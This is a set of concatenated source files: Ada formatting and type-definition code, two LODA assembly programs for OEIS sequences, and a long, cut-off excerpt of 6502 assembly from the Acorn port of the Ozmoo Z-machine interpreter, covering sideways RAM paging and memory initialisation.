then return Self.Width; else return Compute_Multiply_Result_Length( N => To_Long_Long_Integer(Self.Value), M => Int_Scale); end if; end Get_Length; function Split (X : Unsigned_64) return Decimal is pragma Inline(Split); begin return (K => X / 10, R => X mod 10); end Split; overriding procedure Put ( Self : in out Fixed_Point_Argument_Type; Edit : String; To : in out String) is Dot_Pos : constant Integer := To'Last - Fixed_Point_Type'Aft; H : constant Natural := To'First; L : Natural := To'Last; V : constant Long_Long_Integer := To_Long_Long_Integer(Self.Value); G : Display_Goal := (Safe_Abs(V), Safe_Abs(Int_Scale), 0); N, M, R, Y : Decimal; procedure Display (Digit : Unsigned_64) is pragma Inline(Display); begin if L = Dot_Pos then To(L) := '.'; L := L - 1; if L < H then return; end if; end if; To(L) := To_Char(Digit); -- To(L) := Character'Val(Digit + Character'Pos('0')); L := L - 1; end Display; begin loop N := Split(G.N); M := Split(G.M); R := Split(N.R * M.R + G.P); Y := Split(N.K * M.R + M.K * N.R + R.K); Display(R.R); exit when L < H; -- To'First; Display(Y.R); exit when L < H; -- To'First; -- adjust next goal G := (N.K, M.K, Y.K); exit when G = (0, 0, 0); end loop; while L + 1 < To'Last loop exit when To(L + 1) /= '0'; To(L + 1) := ' '; L := L + 1; end loop; if V < 0 then To(L) := '-'; L := L - 1; end if; if L >= To'First then To(To'First .. L) := (others => Self.Fill); end if; end Put; end Fmt.Generic_Ordinary_Fixed_Point_Argument;
programs/oeis/080/A080846.asm
neoneye/loda
22
19103
; A080846: Fixed point of the morphism 0->010, 1->011, starting from a(1) = 0. ; 0,1,0,0,1,1,0,1,0,0,1,0,0,1,1,0,1,1,0,1,0,0,1,1,0,1,0,0,1,0,0,1,1,0,1,0,0,1,0,0,1,1,0,1,1,0,1,0,0,1,1,0,1,1,0,1,0,0,1,1,0,1,0,0,1,0,0,1,1,0,1,1,0,1,0,0,1,1,0,1,0,0,1,0,0,1,1,0,1,0,0,1,0,0,1,1,0,1,1,0 add $0,1 lpb $0 lpb $0 dif $0,3 lpe mod $0,3 lpe div $0,2
example_relationships/src/application_types.ads
cortlandstarrett/mcada
0
18742
<reponame>cortlandstarrett/mcada with System; -- package Application_Types is type Time_Unit is (millisecond, second); Time_Unit_First: constant Time_Unit := Time_Unit'first; ---------------------------------------------------------------------------------------------- type Base_Integer_Type is new integer; function "+" (A : Base_Integer_Type; B : Base_Integer_Type) return Base_Integer_Type; function "-" (A : Base_Integer_Type; B : Base_Integer_Type) return Base_Integer_Type; function "*" (A : Base_Integer_Type; B : Base_Integer_Type) return Base_Integer_Type; function "/" (Numerator : Base_Integer_Type; Denominator : Base_Integer_Type) return Base_Integer_Type; type Base_Float_Type is new float; function "+" (A : Base_Float_Type; B : Base_Float_Type) return Base_Float_Type; function "-" (A : Base_Float_Type; B : Base_Float_Type) return Base_Float_Type; function "*" (A : Base_Float_Type; B : Base_Float_Type) return Base_Float_Type; function "/" (Numerator : Base_Float_Type; Denominator : Base_Float_Type) return Base_Float_Type; function "**" (A : Base_Float_Type; B : Integer) return Base_Float_Type; -- Do not change this value without exceedingly good reasons. Maximum_Number_Of_Characters_In_String : constant Positive := 32; subtype Base_Text_Index_Type is Positive range 1 .. Maximum_Number_Of_Characters_In_String; subtype Base_Text_Type is string (Base_Text_Index_Type'range); subtype Base_Boolean_Type is Boolean; ---------------------------------------------------------------------------------------------- Base_Integer_Type_First : constant Base_Integer_Type := 0; Base_Float_Type_First : constant Base_Float_Type := 0.0; Base_Boolean_Type_First : constant Boolean := False; Boolean_First : constant Boolean := False; -- To be depracated by Base_Boolean_Type_First Base_Text_Type_First : constant Base_Text_Type := (others => ' '); Time_First : constant Base_Integer_Type := 0; ---------------------------------------------------------------------------------------------- -- JM Debug code GLOBAL DATA ACCESS for Debugging purposes. -- Count_Of_Objects : integer := 0; Count_Of_Relationships : integer := 0; Count_Of_Lists : integer := 0; Count_Of_Structures : integer := 0; Count_Of_Events : integer := 0; ---------------------------------------------------------------------------------------------- -- -- This is a hard coded value, and should therefore be changed if any new -- type or subtype is added. The count includes : -- (1) Time_Unit -- (2) Base_Integer_Type -- (3) Base_Float_Type -- (4) Base_Boolean_Type -- (5) Base_Text_Type -- (6) Base_Text_Index_Type Types_And_Subtypes_Count : constant Base_Integer_Type := 6; Stop_Application : exception; ---------------------------------------------------------------------------------------------- end Application_Types;
oeis/091/A091702.asm
neoneye/loda-programs
11
86366
<filename>oeis/091/A091702.asm ; A091702: Column 0 of triangle A091700. ; Submitted by <NAME> ; 1,2,7,23,78,264,895,3034,10286,34872,118225,400813,1358859,4606881,15618510,52950761,179516682,608607667,2063336333,6995240208,23715661274,80402183905,272584057514,924129977596,3133038018732 lpb $0 sub $0,1 sub $3,$4 add $1,$3 add $2,$3 add $4,1 add $4,$2 mov $5,$4 mov $4,$2 mov $2,$3 add $2,$5 add $4,$1 add $5,$4 mov $3,$5 lpe mov $0,$3 add $0,1
Build/Interpreters/beebOzmoo/asm/acorn.asm
polluks/Puddle-BuildTools
38
3659
; Acorn-specific code factored out into its own file for readability. ; Note that the code macros defined in here have the suffix "_inline" if control ; flows straight through them or "_subroutine" if they end by executing rts (or ; equivalent). ; A note on Acorn memory models - this affects code in many places, but I have ; to write this somewhere. ; ; The second processor build (ifndef ACORN_SWR) has a simple flat memory model ; with user RAM from $0400-$f7ff inclusive. It's rather like the C64 but without ; even the complication of paging the kernal ROM in and out, so it doesn't need ; the cache which the C64 code uses when ALLMEM is defined. SFTODO: SAY SOMETHING ABOUT ACORN_TURBO_SUPPORTED ; ; The sideways RAM build (ifdef ACORN_SWR) is a bit more involved. The hardware ; situation here is that we have main RAM (not paged) from $0000-$7fff ; inclusive, with user RAM starting at OSHWM/PAGE, which varies between machines ; but will typically be in the range $e00-$1f00. Some builds hard-code a certain ; address, others use acorn-relocate.asm to accommodate this variation. We also ; have up to 16 different 16K banks of "sideways" RAM paged in at $8000-$bfff ; inclusive. (The BBC series and Electron have different ways to control paging; ; see the acorn_page_in_bank_* macros.) The OS is not paged and lives ; permanently at $c000-$ffff inclusive. The loader will have located any ; available sideways RAM banks, verified there's at least one and put the count ; and a list of bank numbers at ram_bank_{count,list} for us. SFTODO: MINOR QUIBBLE - LOADER WILL HAVE VERIFIED WE HAVE ENOUGH SWR BANKS, THERE MAY BE NONE IF WE CAN GET BY WITHOUT ANY ; ; Acorn Ozmoo uses two slightly different sideways RAM models. Both of them ; allow static/high memory to be spread over approximately 9 sideways RAM banks ; (indexed in 512-byte chunks with indexes from 0-254, with chunk 0 starting ; at story_start+nonstored_blocks). The standard Ozmoo mempointer (data) and ; z_pc_mempointer (Z-machine PC) pointers are extended to each have an associated ; RAM bank (mempointer_ram_bank and z_pc_mempointer_ram_bank respectively). (If ; the relevant byte of Z-machine memory lives in main RAM, the bank number is ; irrelevant as main RAM is not affected by paging.) ; ; The "big dynamic RAM" model (ifndef ACORN_SWR_SMALL_DYNMEM) allows the game's ; dynamic memory (which starts in main RAM at story_start, as on any Ozmoo build) ; to be larger than main RAM and overflow into the first 16K sideways RAM bank. ; The first 16K sideways RAM bank therefore has to be paged in by default, so ; that miscellaneous Ozmoo code which might try to access dynamic memory can do ; so without any trouble. In this model, accesses to memory via read_next_byte ; and read_next_byte_at_z_pc temporarily page in the relevant bank to read the ; byte and then page the first 16K sideways RAM bank back in. (As an ; optimisation, read_next_byte_at_z_pc_unsafe* and friends are used during ; instruction decoding to avoid flipping back and forth excessively while ; reading a multi-byte instruction. This is possible because only a very limited ; set of cases can cause accesses to dynamic memory during instruction decoding.) ; ; The "small dynamic RAM" model (ifdef ACORN_SWR_SMALL_DYNMEM) requires the game's ; dynamic memory to fit in main RAM. Since dynamic memory can then be accessed ; regardless of the currently paged in bank, Ozmoo instead keeps the bank ; containing the Z-machine's PC paged in by default, temporarily paging it out ; only when reading a data byte. ; ; On a second processor or BBC series machine with shadow RAM, screen RAM is ; separate from user RAM and doesn't get in the way. On a BBC B with no shadow ; RAM, we use a trick (see ACORN_NO_SHADOW) to relocate the 1K screen RAM to ; $3c00, leave a gap in the Ozmoo binary to accommodate that and we can then ; mostly forget about screen RAM. Dynamic memory starts at story_start just ; after the Ozmoo stack (as on the C64) and is followed (with suitable paging ; for ACORN_SWR) directly by the virtual memory cache. ; ; On the Electron shadow RAM is rare and we can't use the ACORN_NO_SHADOW trick ; to get the screen memory (8K, from $6000-$8000) out of the way. Ozmoo really ; wants dynamic memory to be contiguous, and there isn't really enough RAM free ; between the Ozmoo stack and the screen memory to run all the games we'd like ; to. We therefore compromise by forcing the use of the big dynamic RAM model ; and making dynamic RAM start at $8000 instead of following the Ozmoo stack. ; This limits us to 16K of dynamic memory, which isn't too bad (and is more than ; we'd have free below screen RAM). We use the main RAM between the Ozmoo stack ; and the screen RAM as additional virtual memory cache so it isn't wasted. An ; Electron is therefore about 7K worse off than a BBC B with the same amount of ; sideways RAM as a result of its larger screen memory, in addition to not ; supporting games needing more than 16K of dynamic memory. The Electron save/ ; restore code has to be slightly different because the data we need to save/ ; restore is no longer contiguous in memory. ; To improve readability of code and avoid double-nesting so we can test for ; ACORN_SWR and !ACORN_SWR_SMALL_DYNMEM in a single !ifdef, we define ; ACORN_SWR_BIG_DYNMEM internally - the build script should never set this. !ifdef ACORN_SWR { !ifndef ACORN_SWR_SMALL_DYNMEM { ACORN_SWR_BIG_DYNMEM = 1 } else { ; ACORN_SWR_SMALL_DYNMEM !ifdef ACORN_ELECTRON_SWR { !error "ACORN_ELECTRON_SWR is not compatible with ACORN_SWR_SMALL_DYNMEM" } } } !zone { ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Sideways RAM paging ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; !ifdef ACORN_SWR { ; SF: ENHANCEMENT: It would probably be possible (even easy) to use an AQR ; cartridge for all sideways RAM on a Master or Electron; it has its own special ; paging register though, so we'd need a separate build to support it, and auto- ; detecting it in a way that doesn't interfere with the user's other use of it ; may be tricky. There's also some sort of unlock stuff to contend with, I think. ; These macros must leave the selected bank number in A or Y as appropriate. !ifndef ACORN_ELECTRON_SWR { !macro acorn_page_in_bank_using_a .operand { lda .operand sta romsel_copy sta bbc_romsel } !macro acorn_page_in_bank_using_a_comma_x .operand { lda .operand,x sta romsel_copy sta bbc_romsel } !macro acorn_page_in_bank_using_a_comma_y .operand { lda .operand,y sta romsel_copy sta bbc_romsel } !macro acorn_page_in_bank_using_y .operand { ldy .operand sty romsel_copy sty bbc_romsel } } else { ; ACORN_ELECTRON_SWR !macro acorn_page_in_bank_using_a .operand { lda #12 sta romsel_copy sta electron_romsel lda .operand sta romsel_copy sta electron_romsel } !macro acorn_page_in_bank_using_a_comma_x .operand { lda #12 sta romsel_copy sta electron_romsel lda .operand,x sta romsel_copy sta electron_romsel } !macro acorn_page_in_bank_using_a_comma_y .operand { lda #12 sta romsel_copy sta electron_romsel lda .operand,y sta romsel_copy sta electron_romsel } !macro acorn_page_in_bank_using_y .operand { ldy #12 sty romsel_copy sty electron_romsel ldy .operand sty romsel_copy sty electron_romsel } } } ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Initialization and finalization ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Initialization code which may be placed after the end of the Z-machine stack; ; this means it will be overwritten as soon as anything is loaded at ; story_start. !macro acorn_init_code_overlapping_game_data { ; Initialization performed very early during startup. deletable_init_start ldx #1 jsr do_osbyte_rw_escape_key !ifdef ACORN_NO_SHADOW { +set_up_mode_7_3c00_inline } jsr screenkernal_init ; Now screenkernal_init has been executed, it's safe to call s_printchar, so ; install our own error handler which will use s_printchar by default. No ; error should be able to occur before this point. If an error occurs during ; a restart, which will re-run the executable, there's not much we can do ; but it's probably OK because the load will just replace the code with an ; identical copy. lda #<error_handler sta brkv lda #>error_handler sta brkv + 1 !ifdef ACORN_CURSOR_PASS_THROUGH { ldx #1 jsr do_osbyte_set_cursor_editing } !ifdef ACORN_FUNCTION_KEY_PASS_THROUGH { ; We're going to generate ZSCII codes for the unshifted function keys. We ; choose a base of 133 (=ZSCII f1) for f0 because if we set a base of 132 so ; Acorn f1=ZSCII f1, Acorn f0 would act like cursor right. If we want Acorn ; f1=ZSCII f1 we'll fix that up in the translation table. SFTODO: I HAVEN'T ADDED THIS OPTION TO THE TRANSLATION TABLE YET lda #osbyte_rw_function_key_status ldx #133 jsr do_osbyte_y_0 ; In order to allow the use of *KEY expansions, we'll make the shifted ; function keys generate those. lda #osbyte_rw_shift_function_key_status ldx #1 ; expand as normal soft key jsr do_osbyte_y_0 } ; Patch re_enter_language to enter the current language; reading it here ; saves a few bytes of non-deletable code. lda #osbyte_read_language ldx #0 ldy #$ff jsr osbyte stx re_enter_language_ldx_imm + 1 !ifndef ACORN_SWR { ; On a second processor, a soft break will transfer control back to our ; execution address. We will have thrown away our initialization code by ; that point and can't restart properly. In order to avoid random behaviour ; and probably a crash, we patch the jmp at the start of the executable to ; transfer control to re_enter_language. This means that although the ; language name gets printed twice, a soft break otherwise gives a clean ; result similar to that on a non-second processor. This code is harmless ; if we're not running on a second processor, but it's not necessary either. lda #<re_enter_language sta initial_jmp + 1 lda #>re_enter_language sta initial_jmp + 2 } !ifdef ACORN_TURBO_SUPPORTED { ; This executable doesn't have a ROM header indicating we want the turbo ; mode enabled, so it will have been disabled when were were executed. Turn ; it back on if we do want it. bit is_turbo bpl .dont_enable_turbo lda #$80 sta turbo_control .dont_enable_turbo } +init_readtime_inline jmp init_cursor_control ; SFTODO: Don't forget more code can go here if it can be executed before we ; start to put data at story_start. } ; End of acorn_init_code_overlapping_game_data_inline ; Initialization subroutines which will be placed inside the Z-machine stack. !macro acorn_init_code_in_stack { screenkernal_init +screenkernal_init_inline rts } ; Initialization performed shortly after startup, just after ; acorn_deletable_init_start. (The distinction is not that important on Acorn ; as the Ozmoo executable itself doesn't generate a splash screen.) !macro acorn_deletable_init_inline { !ifdef TRACE_FLOPPY { ; Call streams_init so the tracing is able to show the readblocks calls ; performed here. jsr streams_init } .dir_ptr = zp_temp ; 2 bytes .game_blocks = zp_temp + 2 ; 2 bytes ; We can't always use story_start to store the catalogue sectors because on an ; ACORN_ELECTRON_SWR build that's in sideways RAM, and we can't always use ; scratch_double_page because second processor builds don't have it. !ifdef scratch_double_page { .catalogue = scratch_double_page } else { .catalogue = story_start } !ifndef ACORN_ADFS { ; Examine the disc catalogue and determine the first sector occupied by the ; DATA file containing the game. ; Because this is initialisation code, we know the following variables are ; already set to predictable values. This optimisation was useful at one ; point but it's not really important right now; it isn't too confusing so ; let's keep it anyway now it's been tested. !if 0 { lda #2 sta readblocks_numblocks lda #0 sta readblocks_currentblock sta readblocks_currentblock + 1 sta readblocks_mempos ; .catalogue is page-aligned !ifdef ACORN_TURBO_SUPPORTED { ; In reality this is redundant but let's play it safe. sta readblocks_mempos + 2 } } lda #>.catalogue sta .dir_ptr + 1 sta readblocks_mempos + 1 lda #0 sta readblocks_base !ifndef ACORN_DSD { sta readblocks_base + 1 } ; Note that because we're reading the first few sectors, this works ; correctly whether this is an ACORN_DSD build or not. jsr readblocks lda #8 sta .dir_ptr .find_file_loop ldy #0 ldx #(-8 & $ff) .name_compare_loop lda (.dir_ptr),y ; The directory name will have the top bit set iff the file is locked; we ; don't care about that here, so we need to strip it off. It's harmless to ; just do this for all characters. and #$7f cmp .data_filename-(-8 & $ff),x bne .file_not_found iny inx beq .file_found bne .name_compare_loop .data_filename !text "DATA $" .file_not_found clc lda .dir_ptr adc #8 sta .dir_ptr bne .find_file_loop brk !byte 0 !text "DATA not found" !byte 0 .file_found ; We found the file's name using sector 0, we now want to look at the ; corresponding part of sector 1. Adjust .dir_ptr for convenience. inc .dir_ptr + 1 ; Determine the start sector of the DATA file and set readblocks_base. ldy #6 lda (.dir_ptr),y and #$3 !ifndef ACORN_DSD { sta readblocks_base + 1 iny lda (.dir_ptr),y sta readblocks_base } else { sta dividend + 1 iny lda (.dir_ptr),y sta dividend lda #0 sta divisor + 1 lda #10 sta divisor jsr divide16 lda division_result sta readblocks_base } ; Determine the length of the DATA file in blocks. ldy #6 lda (.dir_ptr),y and #%110000 lsr lsr lsr lsr sta .game_blocks + 1 ; high byte of length in blocks dey lda (.dir_ptr),y sta .game_blocks ; low byte of length in blocks dey lda (.dir_ptr),y ; low byte of length in bytes beq + inc .game_blocks bne + inc .game_blocks + 1 + !ifdef ACORN_DSD { ; If this is a double-sided game, there will be *approximately* (definitely ; no more, possibly a track's worth of data less) the same amount of data ; on the second side. We don't look up :2.$.DATA and determine its length, ; we just double .game_blocks. The absolute worst case here is we read a ; track's worth of junk which won't be accessed because it's past the end ; of the game. asl .game_blocks rol .game_blocks + 1 !ifndef VMEM { ; If we don't have virtual memory, the logic below to cap .game_blocks at ; .ram_blocks won't kick in. Since we don't have virtual memory, we know the ; game will fit in RAM - but due to the doubling of .game_blocks we just did, ; it might be larger than RAM, causing us to read too much and corrupt ; things. TODO: If we simply passed in the game size as a build parameter ; this sort of thing would go away. lda #0 sta .game_blocks + 1 lda #>(flat_ramtop - story_start) cmp .game_blocks bcs + sta .game_blocks + } } } else { ; ACORN_ADFS lda #<game_data_filename sta scratch_page lda #>game_data_filename sta scratch_page + 1 lda #osfile_read_catalogue_information ldx #<scratch_page ldy #>scratch_page jsr osfile bne + ; The wording of this error is technically incorrect - we're trying to read ; information about the file, not open it - but I don't think it's a big ; deal. It shouldn't be happening at all, of course. jmp cant_open_data_error + lda scratch_page + $a beq + inc scratch_page + $b bne + inc scratch_page + $c + lda scratch_page + $b sta .game_blocks lda scratch_page + $c sta .game_blocks + 1 } ; If .game_blocks is odd, increment it by one so the game data is always ; considered to be a multiple of 512 bytes. This avoids having to worry ; about some corner cases and doesn't cause any problems; on DFS we're doing ; raw sector reads and the extra sector will always exist, on ADFS we may try ; to do a 512-byte read when only 256 bytes are available but that's fine. lda .game_blocks and #1 beq + inc .game_blocks bne + inc .game_blocks + 1 + !ifdef VMEM { .ram_blocks = .dir_ptr ; 2 bytes ; How much RAM do we have available for game data? ; We have 64 (2^6) 256-byte blocks per sideways RAM bank, if we have any. lda #0 sta .ram_blocks + 1 !ifdef ACORN_SWR { lda ram_bank_count ldx #6 - asl rol .ram_blocks + 1 dex bne - } sta .ram_blocks !ifdef ACORN_TUBE_CACHE { ; We have some blocks of cache in the host, which aren't directly accessible ; but are almost as good as our own RAM and which will benefit from ; preloading if we're on a normal second processor. We count them for now so ; we process more of the initial vmap and fix up the inflated value of ; vmap_max_entries later. .host_cache_size = memory_buffer lda screen_mode ora #128 ; force shadow mode on tax lda #osbyte_initialise_cache jsr osbyte stx .host_cache_size !ifdef ACORN_TURBO_SUPPORTED { ; A turbo second processor has enough RAM to preload everything in vmap ; without touching the host cache. The host cache will still work, but we ; don't have anything to preload into it, so having initialised it there's ; nothing else to do. bit is_turbo bmi .host_cache_initialised } ; X is cache size in 512-byte blocks, but we want to count 256-byte blocks here. txa asl rol .ram_blocks + 1 sta .ram_blocks .host_cache_initialised SFTODOLABELX1 } !ifdef ACORN_TURBO_SUPPORTED { ; On a turbo second processor, we will use all 128K in banks 1 and 2 as ; virtual memory cache. bit is_turbo bpl .dont_count_turbo_ram inc .ram_blocks + 1 inc .ram_blocks + 1 .dont_count_turbo_ram } ; We also have some blocks between flat_ramtop and story_start. ; SF: We're doing a constant subtraction in code here, but a) this is ; deletable init code so it doesn't really cost anything b) if we don't, ; the relocation code fails because we have a variation which doesn't follow ; the simple fixed relationship we expect. lda #>flat_ramtop sec sbc #>story_start clc adc .ram_blocks sta .ram_blocks bcc + inc .ram_blocks + 1 + !ifdef ACORN_ELECTRON_SWR { ; We also have some blocks free between extra_vmem_start and the screen RAM. lda #osbyte_read_screen_address jsr osbyte tya dey sty screen_ram_start_minus_1 sec sbc #>extra_vmem_start tax clc adc .ram_blocks sta .ram_blocks bcc + inc .ram_blocks + 1 + txa lsr sta vmem_blocks_in_main_ram } else { !ifdef ACORN_SWR { ; This value might be changed below. lda #0 sta vmem_blocks_in_main_ram } } ; .ram_blocks now contains the number of 256-byte blocks of RAM we have ; available, including RAM which will be used for dynamic memory. The build ; system and the loader will have worked together to guarantee that: ; - .ram_blocks >= ACORN_INITIAL_NONSTORED_BLOCKS + 2*vmem_block_pagecount, ; i.e. that we have enough RAM for the game's dynamic memory and two ; 512-byte blocks of virtual memory cache. ; - the game always has at least one block of non-dynamic memory. ; In order to avoid accessing nonexistent game data in an attempt to use all ; that RAM, set .ram_blocks = min(.ram_blocks, .game_blocks). ldx .game_blocks + 1 lda .game_blocks cpx .ram_blocks + 1 bne + cmp .ram_blocks + bcs + stx .ram_blocks + 1 sta .ram_blocks + ; Set nonstored_blocks to the number of 256-byte blocks of RAM we are going ; to treat as dynamic memory. This is normally the game's actual dynamic ; memory rounded up to a 512-byte boundary, i.e. ; ACORN_INITIAL_NONSTORED_BLOCKS. lda #ACORN_INITIAL_NONSTORED_BLOCKS sta nonstored_blocks !ifdef VMEM { !ifndef ACORN_NO_DYNMEM_ADJUST { !ifdef ACORN_TURBO_SUPPORTED { ; SFTODO: REVIEW THIS FRESH ; On a turbo second processor, we can increase nonstored_blocks to promote ; some additional data into dynamic memory and make full use of bank 0. We ; don't need to keep any of bank 0 free for virtual memory cache because we ; have banks 1 and 2 for that. So we set nonstored_blocks = min(game_blocks ; - vmem_block_pagecount, available blocks in bank 0); see below for why we ; subtract vmem_block_pagecount. This subtraction can't cause ; nonstored_blocks < ACORN_INITIAL_NONSTORED_BLOCKS because the build system ; guarantees the game has at least one block of non-dynamic memory. The ; subtraction is otherwise harmless; it just means that for small games one ; 512-byte block of RAM will have to be accessed via the slower virtual ; memory code when it could maybe have been promoted to be dynamic memory. ; ; This adjustment will make it faster to access the part of the game which ; has been promoted into dynamic memory, so we do it even if this is a small ; game and we could address enough RAM for the entire game without it. bit is_turbo bpl .no_turbo_dynmem_adjust SFTODOLABEL1 lda .game_blocks sec sbc #vmem_block_pagecount tax lda .game_blocks + 1 sbc #0 bne .available_blocks_is_smaller cpx #>(flat_ramtop - story_start) bcc .game_blocks_is_smaller .available_blocks_is_smaller ldx #>(flat_ramtop - story_start) .game_blocks_is_smaller stx nonstored_blocks .no_turbo_dynmem_adjust } !ifdef ACORN_SWR { ; It may be useful to increase nonstored_blocks to promote some additional ; data into dynamic memory, either for performance or to make use of more ; sideways RAM. We must not make it too large for the memory model we're ; using. (This optimisation has relatively limited scope in the small model, ; but it's trivial to support it anyway. It's just conceivable some games ; and/or machines might benefit from --force-big-dynmem to give this ; optimisation more headroom, but of course the big model has its own ; performance drawbacks so it's probably best not using it unless we're ; forced to.) .max_dynmem = zp_temp + 4 ; 1 byte !ifdef ACORN_SWR_BIG_DYNMEM { lda #>swr_ramtop } else { lda #>flat_ramtop } sec sbc #>story_start sta .max_dynmem ; If .game_blocks == .ram_blocks, we want to set nonstored_blocks as high as ; possible; there's no downside as we have enough RAM for the entire game ; and this will allow as much of the game as possible to be accessed via the ; faster dynamic memory code path. Set nonstored_blocks = min(.game_blocks - ; vmem_block_pagecount, .max_dynmem). ldy .ram_blocks + 1 lda .ram_blocks cpy .game_blocks + 1 bne .game_blocks_ne_ram_blocks cmp .game_blocks bne .game_blocks_ne_ram_blocks sec sbc #vmem_block_pagecount tax tya sbc #0 bne .max_dynmem_is_smaller cpx .max_dynmem bcc .game_blocks_is_smaller .max_dynmem_is_smaller ldx .max_dynmem .game_blocks_is_smaller bne .dynmem_adjust_done ; Always branch .game_blocks_ne_ram_blocks ; Note that we can't have .game_blocks < .ram_blocks because we reduced ; .ram_blocks to match earlier, so .game_blocks > .ram_blocks. We don't want ; to reduce flexibility by locking parts of the game into RAM instead of ; allowing the virtual memory system to choose what lives in RAM. It's only ; a clear win to increase nonstored_blocks if it brings otherwise unusable ; RAM into play. Set nonstored_blocks = ; max(min(.ram_blocks - vmap_max_size * vmem_block_pagecount, .max_dynmem), ; ACORN_INITIAL_NONSTORED_BLOCKS) .min_lhs_sub = vmap_max_size * vmem_block_pagecount sec sbc #<.min_lhs_sub tax tya sbc #>.min_lhs_sub bmi .use_acorn_initial_nonstored_blocks bne .use_min_rhs cpx .max_dynmem bcc .use_min_lhs .use_min_rhs ldx .max_dynmem .use_min_lhs cpx #ACORN_INITIAL_NONSTORED_BLOCKS bcs .use_max_lhs .use_acorn_initial_nonstored_blocks ldx #ACORN_INITIAL_NONSTORED_BLOCKS .use_max_lhs .dynmem_adjust_done stx nonstored_blocks } } ; Set .ram_blocks -= nonstored_blocks, i.e. set .ram_blocks to the number of ; RAM blocks we have available as virtual memory cache. lda .ram_blocks sec sbc nonstored_blocks sta .ram_blocks bcs + dec .ram_blocks + 1 + ; SFTODO: REVIEW ALL THE FOLLOWING FRESH, ESP "NEW" SWR CASE ; It's important .ram_blocks >= vmem_block_pagecount now so that we will set ; vmap_max_entries >= 1 below. Conceptually it makes sense for ; vmap_max_entries to be 0 but in practice lots of code assumes it isn't. ; ; The build system and loader work together to guarantee (initial) ; .ram_blocks >= ACORN_INITIAL_NONSTORED_BLOCKS + 2 * vmem_block_pagecount. ; If nonstored_blocks has not been adjusted, there are two cases: ; a) If we didn't set .ram_blocks = .game_blocks above, the build system and ; loader guarantee means we now have .ram_blocks >= 2 * ; vmem_block_pagecount. QED. ; b) If we did set .ram_blocks = .game_blocks above, we know that the ; game has at least one block of non-dynamic memory, so before the ; subtraction we had .ram_blocks = .game_blocks >= ; ACORN_INITIAL_NONSTORED_BLOCKS + vmem_block_pagecount. QED. ; ; On a turbo second processor, we may have adjusted nonstored_blocks. There are ; two cases: ; a) If we didn't set .ram_blocks = .game_blocks above, as nonstored_blocks ; lives in bank 0 and we also have banks 1 and 2 for virtual memory ; cache, after the subtraction we have .ram_blocks ~= 128K >= ; vmem_block_pagecount. QED. ; b) If we did set .ram_blocks = .game_blocks above, combine that with the ; fact the adjustment to nonstored_blocks left nonstored_blocks <= ; .game_blocks - vmem_block_pagecount. QED. ; ; On a sideways RAM build, we may have adjusted nonstored_blocks. There are ; two cases: ; a) If we didn't set .ram_blocks = .game_blocks above, we either: ; 1) set nonstored_blocks = ACORN_INITIAL_NONSTORED_BLOCKS; see the "not ; been adjusted" case above. ; 2) set nonstored_blocks <= .ram_blocks - vmap_max_size * ; vmem_block_pagecount, so after the subtraction we have .ram_blocks ; >= vmap_max_size * vmem_block_pagecount. QED ; b) exactly the same as for the turbo second processor } !ifndef ACORN_SWR { ; vmap_first_ram_page is set at build time to suit a normal second processor ; and it's not used on a turbo second processor, so we don't need any code ; to initialise it. } ; Now set vmap_max_entries = min(.ram_blocks / vmem_block_pagecount, ; vmap_max_size), i.e. the number of vmap entries we have RAM to support. ; (If we're in the ACORN_TUBE_CACHE case on a normal second processor, we ; have that much RAM in total but the number of vmap entries we can support ; is lower. It's convenient to work with this larger value while we do the ; initial load, then vmap_max_entries is fixed up later.) ldx #vmap_max_size lda .ram_blocks lsr .ram_blocks + 1 bne .cap_at_vmap_max_size ror cmp #vmap_max_size bcs .cap_at_vmap_max_size tax .cap_at_vmap_max_size stx vmap_max_entries ; SFTODO: Probably not, but can the existence of vmap_sort_entries help simplify the normal tube+cache case? vmap_sort_entries = vmem_temp ; 1 byte SFTODOLABEL5 !ifndef ACORN_NO_DYNMEM_ADJUST { ; If we've adjusted nonstored_blocks, we may need to sort more than ; vmap_max_entries elements of vmap and it's definitely safe to sort all ; vmap_max_size entries, because we either have enough RAM for vmap_max_size ; blocks of virtual memory cache or we have enough RAM for the entire game. lda nonstored_blocks cmp #ACORN_INITIAL_NONSTORED_BLOCKS beq + ldx #vmap_max_size + } stx vmap_sort_entries } ; Load the nonstored blocks, or all the blocks if we're not using virtual ; memory. We don't need to worry about reading past the end of the game data ; here, because at worst we will read a final 512-byte block when we don't ; have a full block and that's fine. .blocks_to_read = zp_temp + 4 ; 1 byte ; Because this is initialisation code, we know the following variables are ; already set to predictable values. This optimisation was useful at one ; point but it's not really important right now; it isn't too confusing so ; let's keep it anyway now it's been tested. !if 0 { lda #2 sta readblocks_numblocks lda #0 sta readblocks_currentblock sta readblocks_currentblock + 1 sta readblocks_mempos ; story_start is page-aligned !ifdef ACORN_TURBO_SUPPORTED { ; On a turbo second processor readblocks_mempos + 2 is significant and will ; vary; it's probably still zero at this point but play it safe. On a normal ; second processor readblocks_mempos + 2 will always be 0 so this is ; redundant but harmless. sta readblocks_mempos + 2 } } else { ; If we're on DFS the earlier read of the catalogue will have bumped ; readblocks_currentblock and readblocks_mempos, so they have to be set ; explicitly. lda #0 sta readblocks_currentblock } lda #>story_start sta readblocks_mempos + 1 !ifdef VMEM { lda nonstored_blocks } else { lda .game_blocks } sta .blocks_to_read !ifdef ACORN_SWR_BIG_DYNMEM { ; Page in the first bank as dynamic memory may overflow into it. +acorn_page_in_bank_using_a ram_bank_list } .dynmem_load_loop jsr readblocks lda .blocks_to_read sec sbc readblocks_numblocks sta .blocks_to_read bne .dynmem_load_loop !ifdef ACORN_SWR { ; Calculate vmem_blocks_in_main_ram and vmem_blocks_stolen_in_first_bank. lda nonstored_blocks clc adc #>story_start ldx #0 stx vmem_blocks_stolen_in_first_bank sec sbc #>flat_ramtop bcc .some_vmem_in_main_ram lsr sta vmem_blocks_stolen_in_first_bank bpl + ; Always branch .some_vmem_in_main_ram ; Carry is clear; negate A eor #$ff adc #1 lsr sta vmem_blocks_in_main_ram + } !ifdef 